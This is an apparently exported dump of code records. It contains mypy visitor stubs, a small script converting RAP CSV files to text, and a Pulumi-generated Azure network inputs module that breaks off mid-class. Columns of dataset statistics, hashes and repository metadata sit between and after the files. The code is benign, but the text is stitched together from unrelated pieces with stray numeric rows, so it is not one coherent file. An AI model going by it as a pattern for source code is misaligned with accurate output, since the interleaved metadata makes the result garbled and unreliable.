def visit_assert_stmt(self, o: 'mypy.nodes.AssertStmt') -> T:
pass
def visit_del_stmt(self, o: 'mypy.nodes.DelStmt') -> T:
pass
def visit_if_stmt(self, o: 'mypy.nodes.IfStmt') -> T:
pass
def visit_break_stmt(self, o: 'mypy.nodes.BreakStmt') -> T:
pass
def visit_continue_stmt(self, o: 'mypy.nodes.ContinueStmt') -> T:
pass
def visit_pass_stmt(self, o: 'mypy.nodes.PassStmt') -> T:
pass
def visit_raise_stmt(self, o: 'mypy.nodes.RaiseStmt') -> T:
pass
def visit_try_stmt(self, o: 'mypy.nodes.TryStmt') -> T:
pass
def visit_with_stmt(self, o: 'mypy.nodes.WithStmt') -> T:
pass
def visit_print_stmt(self, o: 'mypy.nodes.PrintStmt') -> T:
pass
def visit_exec_stmt(self, o: 'mypy.nodes.ExecStmt') -> T:
pass
# Expressions (default no-op implementation)
def visit_int_expr(self, o: 'mypy.nodes.IntExpr') -> T:
pass
def visit_str_expr(self, o: 'mypy.nodes.StrExpr') -> T:
pass
def visit_bytes_expr(self, o: 'mypy.nodes.BytesExpr') -> T:
pass
def visit_unicode_expr(self, o: 'mypy.nodes.UnicodeExpr') -> T:
pass
def visit_float_expr(self, o: 'mypy.nodes.FloatExpr') -> T:
pass
def visit_complex_expr(self, o: 'mypy.nodes.ComplexExpr') -> T:
pass
def visit_ellipsis(self, o: 'mypy.nodes.EllipsisExpr') -> T:
pass
def visit_star_expr(self, o: 'mypy.nodes.StarExpr') -> T:
pass
def visit_name_expr(self, o: 'mypy.nodes.NameExpr') -> T:
pass
def visit_member_expr(self, o: 'mypy.nodes.MemberExpr') -> T:
pass
def visit_yield_from_expr(self, o: 'mypy.nodes.YieldFromExpr') -> T:
pass
def visit_yield_expr(self, o: 'mypy.nodes.YieldExpr') -> T:
pass
def visit_call_expr(self, o: 'mypy.nodes.CallExpr') -> T:
pass
def visit_op_expr(self, o: 'mypy.nodes.OpExpr') -> T:
pass
def visit_comparison_expr(self, o: 'mypy.nodes.ComparisonExpr') -> T:
pass
def visit_cast_expr(self, o: 'mypy.nodes.CastExpr') -> T:
pass
def visit_reveal_expr(self, o: 'mypy.nodes.RevealExpr') -> T:
pass
def visit_super_expr(self, o: 'mypy.nodes.SuperExpr') -> T:
pass
def visit_assignment_expr(self, o: 'mypy.nodes.AssignmentExpr') -> T:
pass
def visit_unary_expr(self, o: 'mypy.nodes.UnaryExpr') -> T:
pass
def visit_list_expr(self, o: 'mypy.nodes.ListExpr') -> T:
pass
def visit_dict_expr(self, o: 'mypy.nodes.DictExpr') -> T:
pass
def visit_tuple_expr(self, o: 'mypy.nodes.TupleExpr') -> T:
pass
def visit_set_expr(self, o: 'mypy.nodes.SetExpr') -> T:
pass
def visit_index_expr(self, o: 'mypy.nodes.IndexExpr') -> T:
pass
def visit_type_application(self, o: 'mypy.nodes.TypeApplication') -> T:
pass
def visit_lambda_expr(self, o: 'mypy.nodes.LambdaExpr') -> T:
pass
def visit_list_comprehension(self, o: 'mypy.nodes.ListComprehension') -> T:
pass
def visit_set_comprehension(self, o: 'mypy.nodes.SetComprehension') -> T:
pass
def visit_dictionary_comprehension(self, o: 'mypy.nodes.DictionaryComprehension') -> T:
pass
def visit_generator_expr(self, o: 'mypy.nodes.GeneratorExpr') -> T:
pass
def visit_slice_expr(self, o: 'mypy.nodes.SliceExpr') -> T:
pass
def visit_conditional_expr(self, o: 'mypy.nodes.ConditionalExpr') -> T:
pass
def visit_backquote_expr(self, o: 'mypy.nodes.BackquoteExpr') -> T:
pass
def visit_type_var_expr(self, o: 'mypy.nodes.TypeVarExpr') -> T:
pass
def visit_paramspec_expr(self, o: 'mypy.nodes.ParamSpecExpr') -> T:
pass
def visit_type_alias_expr(self, o: 'mypy.nodes.TypeAliasExpr') -> T:
pass
def visit_namedtuple_expr(self, o: 'mypy.nodes.NamedTupleExpr') -> T:
pass
def visit_enum_call_expr(self, o: 'mypy.nodes.EnumCallExpr') -> T:
pass
def visit_typeddict_expr(self, o: 'mypy.nodes.TypedDictExpr') -> T:
pass
def visit_newtype_expr(self, o: 'mypy.nodes.NewTypeExpr') -> T:
pass
def visit__promote_expr(self, o: 'mypy.nodes.PromoteExpr') -> T:
pass
def visit_await_expr(self, o: 'mypy.nodes.AwaitExpr') -> T:
pass
def visit_temp_node(self, o: 'mypy.nodes.TempNode') -> T:
pass
| 25.874336
| 91
| 0.633491
| 1,855
| 14,619
| 4.82372
| 0.126685
| 0.147854
| 0.146848
| 0.228431
| 0.883996
| 0.794367
| 0.775257
| 0.775257
| 0.769781
| 0.769781
| 0
| 0
| 0.24605
| 14,619
| 564
| 92
| 25.920213
| 0.811831
| 0.046994
| 0
| 0.947507
| 0
| 0
| 0.224926
| 0.119951
| 0
| 0
| 0
| 0.003546
| 0.005249
| 1
| 0.383202
| false
| 0.388451
| 0.028871
| 0
| 0.419948
| 0.005249
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 10
|
b99c8ea54da2e6941c384ea30258e74362001292
| 640
|
py
|
Python
|
RAP_scripts/csv_to_txt.py
|
Ehsan-Yaghoubi/AttGAN-Tensorflow
|
631beeb546a4341d652fd835b43fe869e765e85a
|
[
"MIT"
] | null | null | null |
RAP_scripts/csv_to_txt.py
|
Ehsan-Yaghoubi/AttGAN-Tensorflow
|
631beeb546a4341d652fd835b43fe869e765e85a
|
[
"MIT"
] | null | null | null |
RAP_scripts/csv_to_txt.py
|
Ehsan-Yaghoubi/AttGAN-Tensorflow
|
631beeb546a4341d652fd835b43fe869e765e85a
|
[
"MIT"
] | null | null | null |
import csv
csv_file = "TEST_RAP_pandas_frame_data_format_1.csv"
txt_file = "TEST_RAP_pandas_frame_data_format_1.txt"
with open(txt_file, "w") as my_output_file:
with open(csv_file, "r") as my_input_file:
[ my_output_file.write(" ".join(row)+'\n') for row in csv.reader(my_input_file)]
my_output_file.close()
csv_file = "TRAIN_RAP_pandas_frame_data_format_1.csv"
txt_file = "TRAIN_RAP_pandas_frame_data_format_1.txt"
with open(txt_file, "w") as my_output_file:
with open(csv_file, "r") as my_input_file:
[ my_output_file.write(" ".join(row)+'\n') for row in csv.reader(my_input_file)]
my_output_file.close()
| 42.666667
| 88
| 0.745313
| 116
| 640
| 3.663793
| 0.241379
| 0.112941
| 0.169412
| 0.169412
| 0.964706
| 0.964706
| 0.964706
| 0.964706
| 0.903529
| 0.738824
| 0
| 0.007181
| 0.129688
| 640
| 14
| 89
| 45.714286
| 0.755835
| 0
| 0
| 0.615385
| 0
| 0
| 0.2625
| 0.246875
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.076923
| 0
| 0.076923
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b9adba6cd688a4e5402205fee0cf8f30444495b8
| 257,154
|
py
|
Python
|
sdk/python/pulumi_azure_native/network/v20160330/_inputs.py
|
sebtelko/pulumi-azure-native
|
711ec021b5c73da05611c56c8a35adb0ce3244e4
|
[
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_azure_native/network/v20160330/_inputs.py
|
sebtelko/pulumi-azure-native
|
711ec021b5c73da05611c56c8a35adb0ce3244e4
|
[
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_azure_native/network/v20160330/_inputs.py
|
sebtelko/pulumi-azure-native
|
711ec021b5c73da05611c56c8a35adb0ce3244e4
|
[
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
from ._enums import *
__all__ = [
'AddressSpaceArgs',
'ApplicationGatewayBackendAddressArgs',
'ApplicationGatewayBackendAddressPoolArgs',
'ApplicationGatewayBackendHttpSettingsArgs',
'ApplicationGatewayFrontendIPConfigurationArgs',
'ApplicationGatewayFrontendPortArgs',
'ApplicationGatewayHttpListenerArgs',
'ApplicationGatewayIPConfigurationArgs',
'ApplicationGatewayPathRuleArgs',
'ApplicationGatewayProbeArgs',
'ApplicationGatewayRequestRoutingRuleArgs',
'ApplicationGatewaySkuArgs',
'ApplicationGatewaySslCertificateArgs',
'ApplicationGatewayUrlPathMapArgs',
'BackendAddressPoolArgs',
'BgpSettingsArgs',
'DhcpOptionsArgs',
'ExpressRouteCircuitAuthorizationArgs',
'ExpressRouteCircuitPeeringArgs',
'ExpressRouteCircuitPeeringConfigArgs',
'ExpressRouteCircuitServiceProviderPropertiesArgs',
'ExpressRouteCircuitSkuArgs',
'ExpressRouteCircuitStatsArgs',
'FrontendIPConfigurationArgs',
'IPConfigurationArgs',
'InboundNatPoolArgs',
'InboundNatRuleArgs',
'LoadBalancingRuleArgs',
'LocalNetworkGatewayArgs',
'NetworkInterfaceArgs',
'NetworkInterfaceDnsSettingsArgs',
'NetworkInterfaceIPConfigurationArgs',
'NetworkSecurityGroupArgs',
'OutboundNatRuleArgs',
'ProbeArgs',
'PublicIPAddressArgs',
'PublicIPAddressDnsSettingsArgs',
'RouteArgs',
'RouteTableArgs',
'SecurityRuleArgs',
'SubResourceArgs',
'SubnetArgs',
'VirtualNetworkGatewayArgs',
'VirtualNetworkGatewayIPConfigurationArgs',
'VirtualNetworkGatewaySkuArgs',
'VpnClientConfigurationArgs',
'VpnClientRevokedCertificateArgs',
'VpnClientRootCertificateArgs',
]
@pulumi.input_type
class AddressSpaceArgs:
def __init__(__self__, *,
address_prefixes: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None):
"""
AddressSpace contains an array of IP address ranges that can be used by subnets
:param pulumi.Input[Sequence[pulumi.Input[str]]] address_prefixes: Gets or sets List of address blocks reserved for this virtual network in CIDR notation
"""
if address_prefixes is not None:
pulumi.set(__self__, "address_prefixes", address_prefixes)
@property
@pulumi.getter(name="addressPrefixes")
def address_prefixes(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Gets or sets List of address blocks reserved for this virtual network in CIDR notation
"""
return pulumi.get(self, "address_prefixes")
@address_prefixes.setter
def address_prefixes(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "address_prefixes", value)
@pulumi.input_type
class ApplicationGatewayBackendAddressArgs:
def __init__(__self__, *,
fqdn: Optional[pulumi.Input[str]] = None,
ip_address: Optional[pulumi.Input[str]] = None):
"""
Backend Address of application gateway
:param pulumi.Input[str] fqdn: Gets or sets the dns name
:param pulumi.Input[str] ip_address: Gets or sets the ip address
"""
if fqdn is not None:
pulumi.set(__self__, "fqdn", fqdn)
if ip_address is not None:
pulumi.set(__self__, "ip_address", ip_address)
@property
@pulumi.getter
def fqdn(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the dns name
"""
return pulumi.get(self, "fqdn")
@fqdn.setter
def fqdn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "fqdn", value)
@property
@pulumi.getter(name="ipAddress")
def ip_address(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the ip address
"""
return pulumi.get(self, "ip_address")
@ip_address.setter
def ip_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "ip_address", value)
@pulumi.input_type
class ApplicationGatewayBackendAddressPoolArgs:
def __init__(__self__, *,
backend_addresses: Optional[pulumi.Input[Sequence[pulumi.Input['ApplicationGatewayBackendAddressArgs']]]] = None,
backend_ip_configurations: Optional[pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None):
"""
Backend Address Pool of application gateway
:param pulumi.Input[Sequence[pulumi.Input['ApplicationGatewayBackendAddressArgs']]] backend_addresses: Gets or sets the backend addresses
:param pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]] backend_ip_configurations: Gets collection of references to IPs defined in NICs
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the backend address pool resource Updating/Deleting/Failed
"""
if backend_addresses is not None:
pulumi.set(__self__, "backend_addresses", backend_addresses)
if backend_ip_configurations is not None:
pulumi.set(__self__, "backend_ip_configurations", backend_ip_configurations)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
@property
@pulumi.getter(name="backendAddresses")
def backend_addresses(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ApplicationGatewayBackendAddressArgs']]]]:
"""
Gets or sets the backend addresses
"""
return pulumi.get(self, "backend_addresses")
@backend_addresses.setter
def backend_addresses(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ApplicationGatewayBackendAddressArgs']]]]):
pulumi.set(self, "backend_addresses", value)
@property
@pulumi.getter(name="backendIPConfigurations")
def backend_ip_configurations(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]]]:
"""
Gets collection of references to IPs defined in NICs
"""
return pulumi.get(self, "backend_ip_configurations")
@backend_ip_configurations.setter
def backend_ip_configurations(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]]]):
pulumi.set(self, "backend_ip_configurations", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the backend address pool resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@pulumi.input_type
class ApplicationGatewayBackendHttpSettingsArgs:
def __init__(__self__, *,
cookie_based_affinity: Optional[pulumi.Input[Union[str, 'ApplicationGatewayCookieBasedAffinity']]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
port: Optional[pulumi.Input[int]] = None,
probe: Optional[pulumi.Input['SubResourceArgs']] = None,
protocol: Optional[pulumi.Input[Union[str, 'ApplicationGatewayProtocol']]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
request_timeout: Optional[pulumi.Input[int]] = None):
"""
Backend address pool settings of application gateway
:param pulumi.Input[Union[str, 'ApplicationGatewayCookieBasedAffinity']] cookie_based_affinity: Gets or sets the cookie affinity
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[int] port: Gets or sets the port
:param pulumi.Input['SubResourceArgs'] probe: Gets or sets probe resource of application gateway
:param pulumi.Input[Union[str, 'ApplicationGatewayProtocol']] protocol: Gets or sets the protocol
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the backend http settings resource Updating/Deleting/Failed
:param pulumi.Input[int] request_timeout: Gets or sets request timeout
"""
if cookie_based_affinity is not None:
pulumi.set(__self__, "cookie_based_affinity", cookie_based_affinity)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if port is not None:
pulumi.set(__self__, "port", port)
if probe is not None:
pulumi.set(__self__, "probe", probe)
if protocol is not None:
pulumi.set(__self__, "protocol", protocol)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if request_timeout is not None:
pulumi.set(__self__, "request_timeout", request_timeout)
@property
@pulumi.getter(name="cookieBasedAffinity")
def cookie_based_affinity(self) -> Optional[pulumi.Input[Union[str, 'ApplicationGatewayCookieBasedAffinity']]]:
"""
Gets or sets the cookie affinity
"""
return pulumi.get(self, "cookie_based_affinity")
@cookie_based_affinity.setter
def cookie_based_affinity(self, value: Optional[pulumi.Input[Union[str, 'ApplicationGatewayCookieBasedAffinity']]]):
pulumi.set(self, "cookie_based_affinity", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def port(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the port
"""
return pulumi.get(self, "port")
@port.setter
def port(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "port", value)
@property
@pulumi.getter
def probe(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets probe resource of application gateway
"""
return pulumi.get(self, "probe")
@probe.setter
def probe(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "probe", value)
@property
@pulumi.getter
def protocol(self) -> Optional[pulumi.Input[Union[str, 'ApplicationGatewayProtocol']]]:
"""
Gets or sets the protocol
"""
return pulumi.get(self, "protocol")
@protocol.setter
def protocol(self, value: Optional[pulumi.Input[Union[str, 'ApplicationGatewayProtocol']]]):
pulumi.set(self, "protocol", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the backend http settings resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="requestTimeout")
def request_timeout(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets request timeout
"""
return pulumi.get(self, "request_timeout")
@request_timeout.setter
def request_timeout(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "request_timeout", value)
@pulumi.input_type
class ApplicationGatewayFrontendIPConfigurationArgs:
def __init__(__self__, *,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
private_ip_address: Optional[pulumi.Input[str]] = None,
private_ip_allocation_method: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
public_ip_address: Optional[pulumi.Input['SubResourceArgs']] = None,
subnet: Optional[pulumi.Input['SubResourceArgs']] = None):
"""
Frontend IP configuration of application gateway
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] private_ip_address: Gets or sets the privateIPAddress of the Network Interface IP Configuration
:param pulumi.Input[Union[str, 'IPAllocationMethod']] private_ip_allocation_method: Gets or sets PrivateIP allocation method (Static/Dynamic)
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
:param pulumi.Input['SubResourceArgs'] public_ip_address: Gets or sets the reference of the PublicIP resource
:param pulumi.Input['SubResourceArgs'] subnet: Gets or sets the reference of the subnet resource
"""
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if private_ip_address is not None:
pulumi.set(__self__, "private_ip_address", private_ip_address)
if private_ip_allocation_method is not None:
pulumi.set(__self__, "private_ip_allocation_method", private_ip_allocation_method)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if public_ip_address is not None:
pulumi.set(__self__, "public_ip_address", public_ip_address)
if subnet is not None:
pulumi.set(__self__, "subnet", subnet)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="privateIPAddress")
def private_ip_address(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the privateIPAddress of the Network Interface IP Configuration
"""
return pulumi.get(self, "private_ip_address")
@private_ip_address.setter
def private_ip_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "private_ip_address", value)
@property
@pulumi.getter(name="privateIPAllocationMethod")
def private_ip_allocation_method(self) -> Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]]:
"""
Gets or sets PrivateIP allocation method (Static/Dynamic)
"""
return pulumi.get(self, "private_ip_allocation_method")
@private_ip_allocation_method.setter
def private_ip_allocation_method(self, value: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]]):
pulumi.set(self, "private_ip_allocation_method", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="publicIPAddress")
def public_ip_address(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets the reference of the PublicIP resource
"""
return pulumi.get(self, "public_ip_address")
@public_ip_address.setter
def public_ip_address(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "public_ip_address", value)
@property
@pulumi.getter
def subnet(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets the reference of the subnet resource
"""
return pulumi.get(self, "subnet")
@subnet.setter
def subnet(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "subnet", value)
@pulumi.input_type
class ApplicationGatewayFrontendPortArgs:
def __init__(__self__, *,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
port: Optional[pulumi.Input[int]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None):
"""
Frontend Port of application gateway
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[int] port: Gets or sets the frontend port
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the frontend port resource Updating/Deleting/Failed
"""
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if port is not None:
pulumi.set(__self__, "port", port)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def port(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the frontend port
"""
return pulumi.get(self, "port")
@port.setter
def port(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "port", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the frontend port resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@pulumi.input_type
class ApplicationGatewayHttpListenerArgs:
def __init__(__self__, *,
etag: Optional[pulumi.Input[str]] = None,
frontend_ip_configuration: Optional[pulumi.Input['SubResourceArgs']] = None,
frontend_port: Optional[pulumi.Input['SubResourceArgs']] = None,
host_name: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
protocol: Optional[pulumi.Input[Union[str, 'ApplicationGatewayProtocol']]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
require_server_name_indication: Optional[pulumi.Input[bool]] = None,
ssl_certificate: Optional[pulumi.Input['SubResourceArgs']] = None):
"""
Http listener of application gateway
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input['SubResourceArgs'] frontend_ip_configuration: Gets or sets frontend IP configuration resource of application gateway
:param pulumi.Input['SubResourceArgs'] frontend_port: Gets or sets frontend port resource of application gateway
:param pulumi.Input[str] host_name: Gets or sets the host name of http listener
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[Union[str, 'ApplicationGatewayProtocol']] protocol: Gets or sets the protocol
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the http listener resource Updating/Deleting/Failed
:param pulumi.Input[bool] require_server_name_indication: Gets or sets the requireServerNameIndication of http listener
:param pulumi.Input['SubResourceArgs'] ssl_certificate: Gets or sets ssl certificate resource of application gateway
"""
if etag is not None:
pulumi.set(__self__, "etag", etag)
if frontend_ip_configuration is not None:
pulumi.set(__self__, "frontend_ip_configuration", frontend_ip_configuration)
if frontend_port is not None:
pulumi.set(__self__, "frontend_port", frontend_port)
if host_name is not None:
pulumi.set(__self__, "host_name", host_name)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if protocol is not None:
pulumi.set(__self__, "protocol", protocol)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if require_server_name_indication is not None:
pulumi.set(__self__, "require_server_name_indication", require_server_name_indication)
if ssl_certificate is not None:
pulumi.set(__self__, "ssl_certificate", ssl_certificate)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter(name="frontendIPConfiguration")
def frontend_ip_configuration(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets frontend IP configuration resource of application gateway
"""
return pulumi.get(self, "frontend_ip_configuration")
@frontend_ip_configuration.setter
def frontend_ip_configuration(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "frontend_ip_configuration", value)
@property
@pulumi.getter(name="frontendPort")
def frontend_port(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets frontend port resource of application gateway
"""
return pulumi.get(self, "frontend_port")
@frontend_port.setter
def frontend_port(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "frontend_port", value)
@property
@pulumi.getter(name="hostName")
def host_name(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the host name of http listener
"""
return pulumi.get(self, "host_name")
@host_name.setter
def host_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "host_name", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
